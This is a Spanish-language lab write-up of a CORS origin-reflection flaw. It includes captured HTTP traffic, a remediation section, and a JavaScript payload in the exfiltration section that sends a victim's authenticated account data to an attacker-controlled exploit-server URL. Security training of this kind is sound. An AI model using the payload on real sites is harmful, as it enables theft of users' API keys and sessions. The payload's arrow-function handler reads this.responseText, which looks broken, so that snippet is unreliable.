← Writeups

CORS vulnerability with basic origin reflection

Explotación de una configuración CORS insegura que refleja cualquier origen: robo de la API key del administrador mediante origin reflection con credenciales.

Target Overview & Vulnerability Summary

El laboratorio cors-lab-basic-origin-reflection-attack expone una configuración CORS insegura: el servidor refleja literalmente el valor del header Origin en Access-Control-Allow-Origin y, además, emite Access-Control-Allow-Credentials: true. Esa combinación permite a cualquier origen controlado por un atacante leer respuestas autenticadas vía XMLHttpRequest con withCredentials = true, es decir, una lectura cross-origin de datos sensibles con credenciales.

Campo Valor
Severidad Alta (exfiltración de datos autenticados cross-origin)
Endpoint vulnerable GET /accountDetails
Root cause Access-Control-Allow-Origin reflejada desde el origen + Access-Control-Allow-Credentials: true sin validación de la lista blanca

Credenciales del laboratorio: wiener:peter.

Technical Breakdown & Exploitation Flow

1. Confirmación del reflejo del origen

Autenticado como wiener, la respuesta a /accountDetails es una API JSON con la API key y las sesiones activas del usuario:

GET /accountDetails HTTP/2
Host: 0a00000e034fc0e88190614d002e0079.web-security-academy.net
Cookie: session=NCz6P35OspwTBQhFzNt6M0NT1vfNCJpZ
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: */*
Origin: evil.com
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a00000e034fc0e88190614d002e0079.web-security-academy.net/my-account?id=wiener
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers
HTTP/2 200 OK
Access-Control-Allow-Origin: evil.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "35Fi9jB62Z2spniMQG4MXJEGAEJERvMg",
  "sessions": [
    "NCz6P35OspwTBQhFzNt6M0NT1vfNCJpZ"
  ]
}

La respuesta a un Origin: evil.com arbitrario devuelve exactamente ese valor en Access-Control-Allow-Origin. Dos puntos de arquitectura:

  • Access-Control-Allow-Credentials: true — el navegador adjuntará las cookies de sesión (SameSite no bloquea aquí el envío cross-site si la configuración del lab lo permite).
  • Access-Control-Allow-Origin reflejado — el navegador autorizará la lectura del cuerpo de la respuesta al origen atacante. La combinación con credenciales es la que convierte el reflejo en un canal de exfiltración (un * puro no permitiría withCredentials).

2. Payload de exfiltración desde el exploit server

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://<target>/accountDetails', true);
xhr.withCredentials = true;
xhr.onload = () => {
    location = '//exploit-0a28004803ec9dcac025e4430179005c.exploit-server.net/?data=' + this.responseText;
};
xhr.send();
</script>

Pasos de ejecución:

  1. El script se ejecuta automáticamente al abrirse la página del exploit server.
  2. xhr.open('GET', ..., true) realiza una petición asíncrona al target; xhr.withCredentials = true fuerza el envío de la cookie de sesión de la víctima.
  3. Como la respuesta incluye Access-Control-Allow-Origin: <origen-atacante> y Access-Control-Allow-Credentials: true, el navegador permite a xhr.onload leer el cuerpo (la API key del administrador).
  4. El handler exfiltra la respuesta a ?data= del servidor del atacante.

Alternativa equivalente con btoa si se quiere transportar la respuesta de forma segura en la URL:

function reqListener() {
    location = 'https://<hacker-address>:1337/log?data=' + btoa(xhr.response);
}
  1. Entregar el HTML al administrador vía exploit server y recuperar la API key desde los logs de acceso. La lab se resuelve al enviar la API key del administrador.

Root Cause Analysis

El patrón defectuoso es la ausencia de validación del origen en el middleware CORS:

# Configuración vulnerable (equivalente conceptual)
response.headers["Access-Control-Allow-Origin"] = request.headers.get("Origin")  # refleja cualquier valor
response.headers["Access-Control-Allow-Credentials"] = "true"

No existe lista blanca de orígenes: cualquier dominio, incluyendo uno controlado por el atacante, obtiene permiso de lectura cross-origin sobre recursos autenticados. La política de seguridad queda delegada al navegador, que la cumple correctamente, pero sobre una decisión del servidor que no distingue orígenes legítimos.

Secure Remediation

Solo reflejar orígenes de una lista blanca explícita y mantener la protección del puerto/protocolo:

ALLOWED_ORIGINS = {"https://0a00000e034fc0e88190614d002e0079.web-security-academy.net"}

def cors_headers(request):
    origin = request.headers.get("Origin")
    if origin in ALLOWED_ORIGINS:
        return {
            "Access-Control-Allow-Origin": origin,
            "Access-Control-Allow-Credentials": "true",
            "Vary": "Origin",
        }
    return {}  # sin headers CORS para orígenes no autorizados

Notas defensivas adicionales:

  • No usar Access-Control-Allow-Origin: * junto a credenciales: el navegador lo rechaza.
  • Emitir Vary: Origin para que proxies/caches no sirvan respuestas con ACAO de un origen a otro.
  • Preferir mecanismos de sesión no explotables vía CORS: cookies con SameSite=Lax/Strict y __Host- prefix reducen la superficie (la cookie sigue enviándose en el fetch del lab, por eso la validación estricta de origen es obligatoria).